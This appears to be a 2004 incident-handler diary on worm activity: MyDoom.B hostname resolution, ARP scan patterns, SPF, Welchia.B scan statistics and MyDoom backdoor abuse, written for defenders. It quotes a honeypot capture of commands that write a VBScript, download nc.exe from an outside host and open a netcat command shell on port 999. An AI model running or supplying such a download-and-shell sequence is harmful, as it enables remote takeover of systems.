ASN.1 DoS and MyDoomB hostname resoultion

An aspect of MyDoomB that did not receive a lot of attention was it's ability to "gethostbyname()" to resolve its IP and scan it's LAN. A published ASN.1 DOS exploit requires the hostname to work. Resolving IP addresses to hostnames can arguably be a principal method that will be used by worms written to exploit some of the
vulnerabilities described in MS-04-007. This information can be used for defensive purposes. If you have not patched 100% of your MS-04-007 vulnerable systems you may find the following information published by Symantec useful today or in the near future.

An example of what the "IP to hostname" traffic may look like on a network;

"Another thing to look for is a succession of ARP requests for consecutive addresses from the same host, like this:

11:43:50.435946 arp who-has 169.254.14.115 tell 169.254.56.166
11:43:50.438301 arp who-has 169.254.14.116 tell 169.254.56.166
11:43:50.445362 arp who-has 169.254.14.117 tell 169.254.56.166
11:43:50.460087 arp who-has 169.254.14.118 tell 169.254.56.166
11:43:50.466885 arp who-has 169.254.14.119 tell 169.254.56.166
11:43:50.482358 arp who-has 169.254.14.120 tell 169.254.56.166
11:43:50.484681 arp who-has 169.254.14.121 tell 169.254.56.166
11:43:50.498546 arp who-has 169.254.14.122 tell 169.254.56.166
11:43:50.505680 arp who-has 169.254.14.123 tell 169.254.56.166
11:43:50.514562 arp who-has 169.254.14.124 tell 169.254.56.166
11:43:50.531488 arp who-has 169.254.14.125 tell 169.254.56.166
11:43:50.534873 arp who-has 169.254.14.126 tell 169.254.56.166
11:43:50.546532 arp who-has 169.254.14.127 tell 169.254.56.166
11:43:50.554933 arp who-has 169.254.14.128 tell 169.254.56.166
11:43:50.570009 arp who-has 169.254.14.129 tell 169.254.56.166
11:43:50.577407 arp who-has 169.254.14.130 tell 169.254.56.166
11:43:50.588931 arp who-has 169.254.14.131 tell 169.254.56.166
11:43:50.600770 arp who-has 169.254.14.132 tell 169.254.56.166
11:43:50.606802 arp who-has 169.254.14.133 tell 169.254.56.166"
"Detecting network traffic that may be due to RPC worms"
http://securityresponse.symantec.com/avcenter/venc/data/detecting.traffic.due.to.rpc.worms.html

Anti-Spam effort getting traction - SPF (It's NOT Shortest Path First)

Sender Policy Framework
http://spf.pobox.com/

SPF is an attention getting and growing effort to fight "email address forgery and makes it easier to identify spams, worms, and viruses".

Over "7089 domains with SPF records are known".
http://spftools.infinitepenguins.net/register.php

Scans on Port 80 and 445 since last Wednesday February 11th - Welchia.B

Increased scanning activity is principally attributed to the release of the Welchia.B.Worm on or about Wednesday February 11th. ISC/DSHield data indicate that there were approximately 40,000 systems scanning for Port 80 last Tuesday February 10th 2004 and that number increased over the next few days to a peak number of 377,089, a whopping increase of 337,089 systems. Over a similar time period scans of Port 445 increased from approximately 75,ooo systems scanning to a peak of 331,901 on 02/15/04, an increase of 256,901 systems. Welchia.B exploits multiple Windows vulnerabilities by attacking TCP port 135, TCP port 80, and two vulnerabilities on TCP port 445. A DShield and security-focus list participant, Frank Knobbe, who has been looking at the increased Port 80 scanning, had the following securityfocus list comments (reprinted with the authors permission) about the amount of traffic sent at webservers he monitors;

"The interesting thing is that of those 20-some packets, a lot of them do
not have shellcode included, just sleds of varying length. Seems like
the code for the WebDAV exploit is broken. Thank God for small favors...
However, it's a noisy bugger. It's approaching the level of pollution of
the SQL Slammer. Unfortunately this one can not be filtered on ISP
routers. Looks like we have to learn to live with an increasing level of
bandwidth wasted on noise like this."

Patches have been available by the vendor for some time. These scans of Ports 80, and 445 and are not associated with any MS 04-007/ASN.1 remote exploits at this time.

Scans on Port 3127

Scans for Port 3127 dropped significantly on the date the DDoS component of MyDoom.A worm was set to expire (02/12/04). See the graph at;
http://isc.incidents.org/port_details.html?port=3127

Published information says only the DDoS component was set to expire, so why did scans for 3127 drop significantly? It is also apparent that there is a significant effort for control of blocks of MyDoom infected systems. George Bakos and his TinyHoneyPot (THP) submitted an example:

"Some creative young soul is using the MyDoom backdoor (port 3127) to return a command shell using **editorial snip** ... netcat on port 999 **editorial snip** ......

Here's the thp capture:
echo Dim DataBin>c:\madefile.vbs
echo Dim HTTPGET>>c:\madefile.vbs
echo Set HTTPGET = CreateObject(^"^Microsoft.XMLHTTP^"^)>>c:\madefile.vbs

echo HTTPGET.Open ^"^GET^"^, ^"^http://mitglied.lycos.de/norbertberg/nc.exe^"^, False>>c:\madefile.vbs
echo HTTPGET.Send>>c:\madefile.vbs
echo DataBin = HTTPGET.ResponseBody>>c:\madefile.vbs
echo Const adTypeBinary=1 >>c:\madefile.vbs
echo Const adSaveCreateOverWrite=2 >>c:\madefile.vbs
echo Dim SendBinary>>c:\madefile.vbs

echo Set SendBinary = CreateObject(^"^ADODB.Stream^"^)>>c:\madefile.vbs
echo SendBinary.Type = adTypeBinary>>c:\madefile.vbs
echo SendBinary.Open>>c:\madefile.vbs
echo SendBinary.Write DataBin>>c:\madefile.vbs
echo SendBinary.SaveToFile ^"^c:\nc.exe^"^, adSaveCreateOverWrite>>c:\madefile.vbs
C:\madefile.vbs

del C:\madefile.vbs
start C:\nc.exe -vv -l -p 999 -e cmd

Scans for Port 2234

Scans for Port 2234 may be associated with Deadhat and Deadhat.B which both have a component to spread through the Soulseek file-sharing program.
http://isc.incidents.org/port_details.html?port=2234

Patrick Nolan